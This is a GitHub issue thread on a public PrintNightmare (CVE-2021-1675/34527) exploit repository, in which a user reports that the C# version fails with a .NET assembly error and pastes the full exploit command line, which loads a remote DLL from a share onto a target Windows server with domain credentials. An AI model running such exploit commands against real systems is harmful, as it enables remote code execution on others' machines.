cube0x0 / CVE-2021-1675

C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
1.83k stars 581 forks source link

C# Version can't run #28

Open IMnewer opened 3 years ago

IMnewer commented 3 years ago

The C# exp error:

Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'System.Core, Version=4.0.0.0, Culture=neutral, Public KeyToken=b77a5c561934e089' or one of its dependencies. The system cannot find the path specified. at SharpPrintNightmare.Program.getDrivers(String computername) at SharpPrintNightmare.Program.Main(String[] args)

Target Framework is set to 4.0

cube0x0 commented 3 years ago

paste full input and output please

IMnewer commented 3 years ago

Just this : SharpPrintNightmare.exe "\\192.168.1.10\share\calc.dll" "\\192.168.1.11" domain.local test1 test1

Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'System.Core, Version=4.0.0.0, Culture=neutral, Public KeyToken=b77a5c561934e089' or one of its dependencies. The system cannot find the path specified. at SharpPrintNightmare.Program.getDrivers(String computername) at SharpPrintNightmare.Program.Main(String[] args)

The system is Microsoft Windows 7 Ultimate ( 6.1.7601 Service Pack 1 Build 7601 ). target is Microsoft Windows Server 2016 Datacenter ( 10.0.14393 N/A Build 14393)